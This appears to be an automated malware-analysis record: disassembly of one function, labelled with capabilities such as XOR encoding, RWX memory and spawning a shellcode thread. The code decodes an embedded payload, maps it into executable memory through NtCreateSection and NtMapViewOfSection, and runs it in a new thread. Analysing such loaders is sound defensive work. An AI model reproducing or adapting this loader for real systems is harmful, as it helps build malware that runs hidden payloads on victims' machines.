Function at 0x401000
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, 0x1058
call fcn.0040e1e0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x110]
push 0x26
push eax
call fcn.00404362
add esp, 8
test eax, eax
je 0x401310
movups xmm0, xmmword [str.DSPzq_mrF05v_eoSUdOo2gMq_g]
mov ecx, 0x1db
mov al, byte [0x413d1c]
mov esi, 0x413d70
mov dword [ebp - 0x894], 0
lea edi, [ebp - 0x1050]
mov byte [ebp - 0x8c0], al
rep movsd dword es:[edi], dword [esi]
movups xmmword [ebp - 0x8e0], xmm0
movups xmm0, xmmword [0x413d0c]
movsw word es:[edi], word [esi]
lea esi, [ebp - 0x8e0]
movups xmmword [ebp - 0x8d0], xmm0
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4010a7
push 0x76e
lea eax, [ebp - 0x880]
sub esi, ecx
push 0
push eax
call fcn.004023a0
add esp, 0xc
mov dword [ebp - 0x89c], 5
xor ecx, ecx
mov dword [ebp - 0x884], 4
mov dword [ebp - 0x8a0], 3
lea edi, [ecx + 2]
nop dword [eax]
xor edx, edx
mov eax, ecx
div esi
movzx eax, byte [ebp + edx - 0x8e0]
xor edx, edx
xor al, byte [ebp + ecx - 0x1050]
mov byte [ebp + ecx - 0x880], al
lea eax, [edi - 1]
div esi
movzx eax, byte [ebp + edx - 0x8e0]
xor edx, edx
xor al, byte [ebp + ecx - 0x104f]
mov byte [ebp + ecx - 0x87f], al
mov eax, edi
div esi
movzx eax, byte [ebp + edx - 0x8e0]
xor al, byte [ebp + edi - 0x1050]
add edi, 6
mov edx, dword [ebp - 0x8a0]
mov byte [ebp + edx - 0x881], al
mov eax, edx
xor edx, edx
div esi
movzx eax, byte [ebp + edx - 0x8e0]
mov edx, dword [ebp - 0x8a0]
add dword [ebp - 0x8a0], 6
xor al, byte [ebp + edx - 0x1050]
mov edx, dword [ebp - 0x884]
mov byte [ebp + edx - 0x881], al
mov eax, edx
xor edx, edx
div esi
movzx eax, byte [ebp + edx - 0x8e0]
mov edx, dword [ebp - 0x884]
add dword [ebp - 0x884], 6
xor al, byte [ebp + edx - 0x1050]
mov edx, dword [ebp - 0x89c]
mov byte [ebp + edx - 0x881], al
mov eax, edx
xor edx, edx
div esi
movzx eax, byte [ebp + edx - 0x8e0]
mov edx, dword [ebp - 0x89c]
xor al, byte [ebp + edx - 0x1050]
add edx, 6
mov byte [ebp + ecx - 0x87b], al
add ecx, 6
mov dword [ebp - 0x89c], edx
cmp edi, 0x770
jb 0x4010f0
push str.ntdll.dll
mov dword [ebp - 0x884], 0x1000
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x89c], eax
test eax, eax
je 0x401325
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NtCreateSection
push eax
call esi
push str.NtMapViewOfSection
push dword [ebp - 0x89c]
mov edi, eax
call esi
push str.NtUnmapViewOfSection
push dword [ebp - 0x89c]
mov dword [ebp - 0x8a0], eax
call esi
push str.NtClose
push dword [ebp - 0x89c]
mov dword [ebp - 0x8a4], eax
call esi
push 0
push 0x8000000
push 0x40
mov dword [ebp - 0x89c], eax
lea eax, [ebp - 0x890]
push eax
push 0
push 0xe
lea eax, [ebp - 0x898]
mov dword [ebp - 0x88c], 0
push eax
mov dword [ebp - 0x890], 0x1000
call edi
push 0x40
push 0
push 1
lea eax, [ebp - 0x884]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x894]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push dword [ebp - 0x898]
call dword [ebp - 0x8a0]
mov edi, dword [ebp - 0x894]
lea esi, [ebp - 0x880]
mov ecx, 0x1db
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 0
movsw word es:[edi], word [esi]
push dword [ebp - 0x894]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x401325
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x894]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [ebp - 0x8a4]
push dword [ebp - 0x898]
call dword [ebp - 0x89c]
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040133b
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
xor ecx, ebp
pop esi
call fcn.0040133b
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret